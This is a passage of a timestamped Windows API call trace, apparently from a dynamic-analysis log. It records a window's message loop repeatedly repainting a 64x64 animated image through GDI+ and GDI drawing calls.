uBytes=0x30) returned 0x1e7b48a0 [0142.813] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.813] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.813] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.813] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0142.813] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0142.813] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0142.814] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0142.814] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.814] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0142.814] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0142.814] GetCurrentObject (hdc=0x28010b91, type=0x1) returned 0x1b00017 [0142.814] GetCurrentObject (hdc=0x28010b91, type=0x2) returned 0x1900010 [0142.814] GetCurrentObject (hdc=0x28010b91, type=0x7) returned 0x1a05067e [0142.814] GetCurrentObject (hdc=0x28010b91, type=0x6) returned 0x18a002e [0142.814] SaveDC (hdc=0x28010b91) returned 1 [0142.814] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff99040b8a [0142.815] GetClipRgn (hdc=0x28010b91, hrgn=0xffffffff99040b8a) returned 0 [0142.815] SelectClipRgn (hdc=0x28010b91, hrgn=0xffffffffc90407c3) returned 2 [0142.815] DeleteObject (ho=0xffffffff99040b8a) returned 1 [0142.815] DeleteObject (ho=0xffffffffc90407c3) returned 1 [0142.815] OffsetViewportOrgEx (in: hdc=0x28010b91, x=0, y=0, lppt=0x26d2c40 | out: lppt=0x26d2c40) returned 1 [0142.815] GetNearestColor (hdc=0x28010b91, color=0xffffff) returned 0xffffff [0142.815] CreateSolidBrush (color=0xffffff) returned 0xffffffffa1100190 [0142.815] FillRect (hDC=0x28010b91, lprc=0x15d7c0, hbr=0xffffffffa1100190) returned 1 [0142.815] DeleteObject (ho=0xffffffffa1100190) returned 1 [0142.815] RestoreDC (hdc=0x28010b91, nSavedDC=-1) returned 1 [0142.815] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.815] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x28010b91) returned 0x0 [0142.815] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffca40dbd) returned 0x0 [0142.815] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.815] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0142.816] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.816] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.816] GetSystemMetrics (nIndex=42) returned 0 [0142.816] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.816] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.816] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.816] CoTaskMemFree (pv=0x1e91eca0) [0142.816] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x10) returned 0x0 [0142.818] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0142.818] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0142.818] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0142.818] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0142.818] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x28010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0142.818] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.819] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x28010b91) returned 0x0 [0142.819] SelectObject (hdc=0x28010b91, h=0x185000f) returned 0x1a05067e [0142.819] DeleteDC (hdc=0x28010b91) returned 1 [0142.819] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.819] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0142.819] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0142.819] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0142.819] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.819] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.819] WaitMessage () returned 1 [0142.931] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.931] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.931] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.932] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.932] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.932] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0142.932] GetCurrentThreadId () returned 0xec0 [0142.932] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0142.932] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.932] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.932] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.932] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.932] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.932] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0142.933] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0142.933] CreateCompatibleDC (hdc=0x3010b83) returned 0x29010b91 [0142.933] SelectObject (hdc=0x29010b91, h=0x1a05067e) returned 0x185000f [0142.933] GdipCreateFromHDC (hdc=0x29010b91, graphics=0x15daf0) returned 0x0 [0142.933] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0142.933] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0142.933] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0142.933] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0142.933] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0142.933] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.933] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0142.934] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.934] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.934] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0142.934] GdipCreateRegion (region=0x15dc20) returned 0x0 [0142.934] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0142.935] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0142.935] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0142.935] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.935] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.935] GetSystemMetrics (nIndex=42) returned 0 [0142.935] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.935] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.935] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.936] CoTaskMemFree (pv=0x1e91eca0) [0142.936] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0142.936] GdipCreateRegion (region=0x15d710) returned 0x0 [0142.936] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0142.936] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0142.936] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0142.936] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0142.936] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.936] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.937] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.937] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0142.937] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.937] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.937] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.938] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.938] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0142.938] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0142.938] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0142.938] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0142.938] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.938] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0142.938] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0142.938] GetCurrentObject (hdc=0x29010b91, type=0x1) returned 0x1b00017 [0142.938] GetCurrentObject (hdc=0x29010b91, type=0x2) returned 0x1900010 [0142.939] GetCurrentObject (hdc=0x29010b91, type=0x7) returned 0x1a05067e [0142.939] GetCurrentObject (hdc=0x29010b91, type=0x6) returned 0x18a002e [0142.939] SaveDC (hdc=0x29010b91) returned 1 [0142.939] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffca0407c3 [0142.939] GetClipRgn (hdc=0x29010b91, hrgn=0xffffffffca0407c3) returned 0 [0142.939] SelectClipRgn (hdc=0x29010b91, hrgn=0xffffffff9a040b8a) returned 2 [0142.939] DeleteObject (ho=0xffffffffca0407c3) returned 1 [0142.939] DeleteObject (ho=0xffffffff9a040b8a) returned 1 [0142.939] OffsetViewportOrgEx (in: hdc=0x29010b91, x=0, y=0, lppt=0x26d3f40 | out: lppt=0x26d3f40) returned 1 [0142.939] GetNearestColor (hdc=0x29010b91, color=0xffffff) returned 0xffffff [0142.939] CreateSolidBrush (color=0xffffff) returned 0xffffffffa2100190 [0142.940] FillRect (hDC=0x29010b91, lprc=0x15d7c0, hbr=0xffffffffa2100190) returned 1 [0142.940] DeleteObject (ho=0xffffffffa2100190) returned 1 [0142.940] RestoreDC (hdc=0x29010b91, nSavedDC=-1) returned 1 [0142.940] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.940] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x29010b91) returned 0x0 [0142.940] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffca20dbd) returned 0x0 [0142.940] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.940] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0142.940] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.940] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.940] GetSystemMetrics (nIndex=42) returned 0 [0142.940] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.940] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.940] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.940] CoTaskMemFree (pv=0x1e91eca0) [0142.940] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0142.941] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0142.941] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0142.941] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0142.941] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x29010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0142.941] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.941] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x29010b91) returned 0x0 [0142.941] SelectObject (hdc=0x29010b91, h=0x185000f) returned 0x1a05067e [0142.941] DeleteDC (hdc=0x29010b91) returned 1 [0142.941] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.941] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0142.941] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0142.941] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0142.942] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.942] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.942] WaitMessage () returned 1 [0143.056] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.056] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.056] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.056] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.056] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.057] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0143.057] GetCurrentThreadId () returned 0xec0 [0143.057] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0143.057] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.057] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.057] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.057] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.057] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.057] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0143.057] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0143.057] CreateCompatibleDC (hdc=0x3010b83) returned 0x2a010b91 [0143.057] SelectObject (hdc=0x2a010b91, h=0x1a05067e) returned 0x185000f [0143.057] GdipCreateFromHDC (hdc=0x2a010b91, graphics=0x15daf0) returned 0x0 [0143.058] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0143.058] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0143.058] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0143.058] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0143.058] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0143.058] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.058] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0143.058] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.059] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.059] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0143.059] GdipCreateRegion (region=0x15dc20) returned 0x0 [0143.059] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0143.059] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0143.059] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0143.059] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.059] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.059] GetSystemMetrics (nIndex=42) returned 0 [0143.059] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.059] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.059] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.059] CoTaskMemFree (pv=0x1e91eca0) [0143.059] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0143.059] GdipCreateRegion (region=0x15d710) returned 0x0 [0143.060] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0143.060] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0143.060] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0143.060] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0143.060] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.060] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.060] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.061] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0143.061] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.061] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0143.061] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.061] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.061] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0143.061] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0143.061] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0143.061] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0143.062] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.062] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0143.062] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0143.062] GetCurrentObject (hdc=0x2a010b91, type=0x1) returned 0x1b00017 [0143.062] GetCurrentObject (hdc=0x2a010b91, type=0x2) returned 0x1900010 [0143.062] GetCurrentObject (hdc=0x2a010b91, type=0x7) returned 0x1a05067e [0143.062] GetCurrentObject (hdc=0x2a010b91, type=0x6) returned 0x18a002e [0143.062] SaveDC (hdc=0x2a010b91) returned 1 [0143.062] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff9b040b8a [0143.062] GetClipRgn (hdc=0x2a010b91, hrgn=0xffffffff9b040b8a) returned 0 [0143.062] SelectClipRgn (hdc=0x2a010b91, hrgn=0xffffffffcb0407c3) returned 2 [0143.062] DeleteObject (ho=0xffffffff9b040b8a) returned 1 [0143.063] DeleteObject (ho=0xffffffffcb0407c3) returned 1 [0143.063] OffsetViewportOrgEx (in: hdc=0x2a010b91, x=0, y=0, lppt=0x26d4878 | out: lppt=0x26d4878) returned 1 [0143.063] GetNearestColor (hdc=0x2a010b91, color=0xffffff) returned 0xffffff [0143.063] CreateSolidBrush (color=0xffffff) returned 0xffffffffa3100190 [0143.063] FillRect (hDC=0x2a010b91, lprc=0x15d7c0, hbr=0xffffffffa3100190) returned 1 [0143.063] DeleteObject (ho=0xffffffffa3100190) returned 1 [0143.063] RestoreDC (hdc=0x2a010b91, nSavedDC=-1) returned 1 [0143.063] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.063] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2a010b91) returned 0x0 [0143.063] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffca00dbd) returned 0x0 [0143.063] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.064] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0143.064] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.064] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.064] GetSystemMetrics (nIndex=42) returned 0 [0143.064] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.064] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.064] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.064] CoTaskMemFree (pv=0x1e91eca0) [0143.064] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x12) returned 0x0 [0143.066] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0143.066] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0143.066] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0143.067] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0143.067] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2a010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0143.067] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.067] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2a010b91) returned 0x0 [0143.067] SelectObject (hdc=0x2a010b91, h=0x185000f) returned 0x1a05067e [0143.067] DeleteDC (hdc=0x2a010b91) returned 1 [0143.067] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.067] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0143.067] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0143.068] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0143.068] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.068] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0143.068] WaitMessage () returned 1 [0143.181] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.181] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.181] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.181] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.181] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.181] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0143.181] GetCurrentThreadId () returned 0xec0 [0143.181] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0143.181] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0143.181] IsWindowUnicode (hWnd=0x2031e) returned 1 [0143.182] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0143.182] TranslateMessage (lpMsg=0x15e910) returned 0 [0143.182] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0143.182] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0143.182] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0143.182] CreateCompatibleDC (hdc=0x3010b83) returned 0x2b010b91 [0143.182] SelectObject (hdc=0x2b010b91, h=0x1a05067e) returned 0x185000f [0143.182] GdipCreateFromHDC (hdc=0x2b010b91, graphics=0x15daf0) returned 0x0 [0143.182] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0143.182] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0143.182] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0143.183] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0143.183] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0143.183] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0143.183] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0143.183] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0143.183] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0143.184] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0143.184] GdipCreateRegion (region=0x15dc20) returned 0x0 [0143.184] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0143.184] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0143.184] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0143.184] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0143.184] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0143.184] GetSystemMetrics (nIndex=42) returned 0 [0143.184] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0143.184] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0143.184] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0143.184] CoTaskMemFree (pv=0x1e91eca0) [0143.184] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0143.185] GdipCreateRegion (region=0x15d710) returned 0x0 [0143.185] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0143.185] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0143.185] GdipGetWorldTransform 